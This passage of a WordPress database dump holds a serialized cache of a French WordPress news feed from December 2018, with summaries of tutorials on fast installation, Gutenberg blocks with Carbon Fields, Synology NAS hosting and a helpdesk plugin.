s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:15:\&quot;updateFrequency\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;1\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:27:\&quot;http://www.w3.org/2005/Atom\&quot;;a:1:{s:4:\&quot;link\&quot;;a:2:{i:0;a:5:{s:4:\&quot;data\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:3:{s:3:\&quot;rel\&quot;;s:4:\&quot;self\&quot;;s:4:\&quot;type\&quot;;s:19:\&quot;application/rss+xml\&quot;;s:4:\&quot;href\&quot;;s:48:\&quot;http://feeds.feedburner.com/WordpressFrancophone\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}i:1;a:5:{s:4:\&quot;data\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:2:{s:3:\&quot;rel\&quot;;s:3:\&quot;hub\&quot;;s:4:\&quot;href\&quot;;s:32:\&quot;http://pubsubhubbub.appspot.com/\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:42:\&quot;http://rssnamespace.org/feedburner/ext/1.0\&quot;;a:4:{s:4:\&quot;info\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:3:\&quot;uri\&quot;;s:20:\&quot;wordpressfrancophone\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:14:\&quot;emailServiceId\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:20:\&quot;WordpressFrancophone\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:18:\&quot;feedburnerHostname\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:29:\&quot;https://feedburner.google.com\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:9:\&quot;feedFlare\&quot;;a:9:{i:0;a:5:{s:4:\&quot;data\&quot;;s:24:\&quot;Subscribe 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(226, '_transient_feed_mod_66a70e9599b658d5cc038e8074597e7c', '1546171476', 'no');
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On nous a menti! On peut l&amp;#8217;installer beaucoup plus rapidement que ca&amp;#8230; La preuve en vidéo! Ceux d&amp;#8217;entre vous ayant déjà installé un multisite savent qu&amp;#8217;après avoir installé WordPress, il faut rentrer des constantes dans le wp-config.php pour activer ce mode, se rendre dans le Back-Office, paramétrer le reseau et revenir dans le wp-config.php pour y coller un pavé de constantes ainsi que dans le .htaccess&amp;#8230; bref largement plus qu&amp;#8217;avec le script que je vous ai concocté! Comment ca marche? J&amp;#8217;ai créé un script bash qui,…		        \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:762:\&quot;On lit partout qu&amp;#8217;il faut 5 minutes pour installer WordPress&amp;#8230; et c&amp;#8217;est FAUX ! On nous a menti! On peut l&amp;#8217;installer beaucoup plus rapidement que ca&amp;#8230; La preuve en vidéo! Ceux d&amp;#8217;entre vous ayant déjà installé un multisite savent qu&amp;#8217;après avoir installé WordPress, il faut rentrer des constantes dans le wp-config.php pour activer ce mode, se rendre dans le Back-Office, paramétrer le reseau et revenir dans le wp-config.php pour y coller un pavé de constantes ainsi que dans le .htaccess&amp;#8230; bref largement plus qu&amp;#8217;avec le script que je vous ai concocté! Comment ca marche? J&amp;#8217;ai créé un script bash qui,…&lt;img src=\&quot;http://feeds.feedburner.com/~r/wpfr/~4/mxn85Rp8tWk\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:42:\&quot;http://rssnamespace.org/feedburner/ext/1.0\&quot;;a:1:{s:8:\&quot;origLink\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:73:\&quot;https://www.thivinfo.com/blog/tutoriels/installer-wordpress-en-3-minutes/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:1;a:6:{s:4:\&quot;data\&quot;;s:84:\&quot;\n		        \n		        \n		        \n		        \n		        \n		        \n		        \n		    \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:56:\&quot;Créer vos blocs Gutenberg facilement avec Carbon Fields\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:51:\&quot;http://feedproxy.google.com/~r/wpfr/~3/penBqnXRVWY/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:96:\&quot;https://www.thivinfo.com/blog/tutoriels/creer-vos-blocs-gutenberg-facilement-avec-carbon-fields/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Mon, 24 Dec 2018 14:10:58 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:689:\&quot;\n		        Présentation de Carbon Fields Carbon Fields est une solution concurrente du célèbre Advanced Custom Field (ACF) mais qui a la particularité de pouvoir être embarqué dans vos thèmes et extensions maison. En effet, vous ne pouvez pas utiliser ACF Pro dans vos extensions gratuites a destination par exemple du dépôt WordPress. Comme ACF, Carbon Fields propose une solution entièrement en PHP pour créer des blocs compatibles avec le nouvel éditeur de WordPress: Gutenberg! Les blocs Gutenberg ont fait leur apparition dans Carbon Fields 3.0. Installer Carbon Fields Attention, la version disponible sur le dépôt WordPress est loin d&amp;#8217;être à jour.…		        \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:759:\&quot;Présentation de Carbon Fields Carbon Fields est une solution concurrente du célèbre Advanced Custom Field (ACF) mais qui a la particularité de pouvoir être embarqué dans vos thèmes et extensions maison. En effet, vous ne pouvez pas utiliser ACF Pro dans vos extensions gratuites a destination par exemple du dépôt WordPress. Comme ACF, Carbon Fields propose une solution entièrement en PHP pour créer des blocs compatibles avec le nouvel éditeur de WordPress: Gutenberg! Les blocs Gutenberg ont fait leur apparition dans Carbon Fields 3.0. Installer Carbon Fields Attention, la version disponible sur le dépôt WordPress est loin d&amp;#8217;être à jour.…&lt;img src=\&quot;http://feeds.feedburner.com/~r/wpfr/~4/penBqnXRVWY\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:42:\&quot;http://rssnamespace.org/feedburner/ext/1.0\&quot;;a:1:{s:8:\&quot;origLink\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:96:\&quot;https://www.thivinfo.com/blog/tutoriels/creer-vos-blocs-gutenberg-facilement-avec-carbon-fields/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:2;a:6:{s:4:\&quot;data\&quot;;s:84:\&quot;\n		        \n		        \n		        \n		        \n		        \n		        \n		        \n		    \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:39:\&quot;Installer WordPress sur un NAS Synology\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:51:\&quot;http://feedproxy.google.com/~r/wpfr/~3/C5RZVcPhyRo/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:85:\&quot;https://wpchannel.com/wordpress/tutoriels-wordpress/installer-wordpress-nas-synology/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Sun, 23 Dec 2018 16:07:53 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:485:\&quot;\n		        Installer WordPress sur un serveur local peut s&amp;#8217;opérer sur un serveur NAS (Network Attached Storage) de type Synology. Ces espaces de stockage en réseau disposent de tous les paquets nécessaires au déploiement d&amp;#8217;un environnement Apache, MariaDB et PHP. Une excellente combinaison pour développer en local sans impacter votre machine de travail quotidienne. C&amp;#8217;est quoi un serveur NAS Synology ? Un serveur NAS pour Network Attached [&amp;#8230;]		        \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:10:\&quot;WP Channel\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:746:\&quot;&lt;div class=\&quot;post-thumbnail\&quot;&gt;&lt;img width=\&quot;356\&quot; height=\&quot;327\&quot; src=\&quot;https://wpchannel.com/images/2018/12/disque-dur-356x327.jpg\&quot; class=\&quot;attachment-medium size-medium wp-post-image\&quot; alt=\&quot;\&quot; /&gt;&lt;/div&gt;Installer WordPress sur un serveur local peut s&amp;#8217;opérer sur un serveur NAS (Network Attached Storage) de type Synology. Ces espaces de stockage en réseau disposent de tous les paquets nécessaires au déploiement d&amp;#8217;un environnement Apache, MariaDB et PHP. Une excellente combinaison pour développer en local sans impacter votre machine de travail quotidienne. C&amp;#8217;est quoi un serveur NAS Synology ? Un serveur NAS pour Network Attached [&amp;#8230;]&lt;img src=\&quot;http://feeds.feedburner.com/~r/wpfr/~4/C5RZVcPhyRo\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:42:\&quot;http://rssnamespace.org/feedburner/ext/1.0\&quot;;a:1:{s:8:\&quot;origLink\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:85:\&quot;https://wpchannel.com/wordpress/tutoriels-wordpress/installer-wordpress-nas-synology/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:3;a:6:{s:4:\&quot;data\&quot;;s:84:\&quot;\n		        \n		        \n		        \n		        \n		        \n		        \n		        \n		    \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:101:\&quot;Présentation de WP GestSup Connector, l’extension qui lie votre site WordPress au helpdesk GestSup\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:51:\&quot;http://feedproxy.google.com/~r/wpfr/~3/A5bQPf8MPR4/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:118:\&quot;https://www.thivinfo.com/blog/presentation-de-wp-gestsup-connector-pro-lextension-lie-site-wordpress-helpdesk-gestsup/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 21 Dec 2018 07:30:26 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:752:\&quot;\n		        GestSup, qu&amp;#8217;est ce que c&amp;#8217;est? D&amp;#8217;abord le site web. GestSup est une solution de&amp;#160;gestion de support&amp;#160;auto-hébergée que j&amp;#8217;utilise avec certains de mes clients pour prioriser les interventions et les développements réalisé par Thivinfo. Jusque la j&amp;#8217;avais, comme beaucoup, un formulaire de contact qui m&amp;#8217;envoyait par mail le contenu saisi dans le formulaire en ligne. Ce mail, je le retranscrivais dans GestSup pour créer un ticket&amp;#8230; faire et défaire c&amp;#8217;est toujours travailler mais pendant ce temps la je n&amp;#8217;étais pas productif pour développer les demandes de mes clients. J&amp;#8217;ai donc décidé de créer une extension WordPress qui génrerai un formulaire via…		        \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:822:\&quot;GestSup, qu&amp;#8217;est ce que c&amp;#8217;est? D&amp;#8217;abord le site web. GestSup est une solution de&amp;#160;gestion de support&amp;#160;auto-hébergée que j&amp;#8217;utilise avec certains de mes clients pour prioriser les interventions et les développements réalisé par Thivinfo. Jusque la j&amp;#8217;avais, comme beaucoup, un formulaire de contact qui m&amp;#8217;envoyait par mail le contenu saisi dans le formulaire en ligne. Ce mail, je le retranscrivais dans GestSup pour créer un ticket&amp;#8230; faire et défaire c&amp;#8217;est toujours travailler mais pendant ce temps la je n&amp;#8217;étais pas productif pour développer les demandes de mes clients. J&amp;#8217;ai donc décidé de créer une extension WordPress qui génrerai un formulaire via…&lt;img src=\&quot;http://feeds.feedburner.com/~r/wpfr/~4/A5bQPf8MPR4\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:42:\&quot;http://rssnamespace.org/feedburner/ext/1.0\&quot;;a:1:{s:8:\&quot;origLink\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:118:\&quot;https://www.thivinfo.com/blog/presentation-de-wp-gestsup-connector-pro-lextension-lie-site-wordpress-helpdesk-gestsup/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:4;a:6:{s:4:\&quot;data\&quot;;s:84:\&quot;\n		        \n		        \n		        \n		        \n		        \n		        \n		        \n		    \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:36:\&quot;Comment devenir une agence WordPress\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:51:\&quot;http://feedproxy.google.com/~r/wpfr/~3/5H31_I6rQls/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:61:\&quot;https://www.whodunit.fr/comment-devenir-une-agence-wordpress/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 20 Dec 2018 09:04:10 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:530:\&quot;\n		        Le 19 octobre 2018 s’est déroulé le&amp;#160;WordCamp Nice, un évènement dédié aux conférences sur WordPress. Rachel, notre lead Theme Dev, était dans l’équipe organisatrice. Consacrer du temps pour aider bénévolement à l’organisation de ces évènements est un des moyens&amp;#160;pour l’agence de contribuer. Être orateur et partager nos expériences est aussi une contribution et cette année [&amp;#8230;]\nThe post Comment devenir une agence WordPress appeared first on Agence WordPress Whodunit.		        \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:758:\&quot;&lt;p&gt;Le 19 octobre 2018 s’est déroulé le&amp;#160;WordCamp Nice, un évènement dédié aux conférences sur WordPress. Rachel, notre lead Theme Dev, était dans l’équipe organisatrice. Consacrer du temps pour aider bénévolement à l’organisation de ces évènements est un des moyens&amp;#160;pour l’agence de contribuer. Être orateur et partager nos expériences est aussi une contribution et cette année [&amp;#8230;]&lt;/p&gt;\n&lt;p&gt;The post &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://www.whodunit.fr/comment-devenir-une-agence-wordpress/\&quot;&gt;Comment devenir une agence WordPress&lt;/a&gt; appeared first on &lt;a rel=\&quot;nofollow\&quot; href=\&quot;https://www.whodunit.fr\&quot;&gt;Agence WordPress Whodunit&lt;/a&gt;.&lt;/p&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/wpfr/~4/5H31_I6rQls\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:42:\&quot;http://rssnamespace.org/feedburner/ext/1.0\&quot;;a:1:{s:8:\&quot;origLink\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:61:\&quot;https://www.whodunit.fr/comment-devenir-une-agence-wordpress/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:5;a:6:{s:4:\&quot;data\&quot;;s:84:\&quot;\n		        \n		        \n		        \n		        \n		        \n		        \n		        \n		    \&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:4:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:58:\&quot;Comment faire vos mises à jour WordPress sans encombres 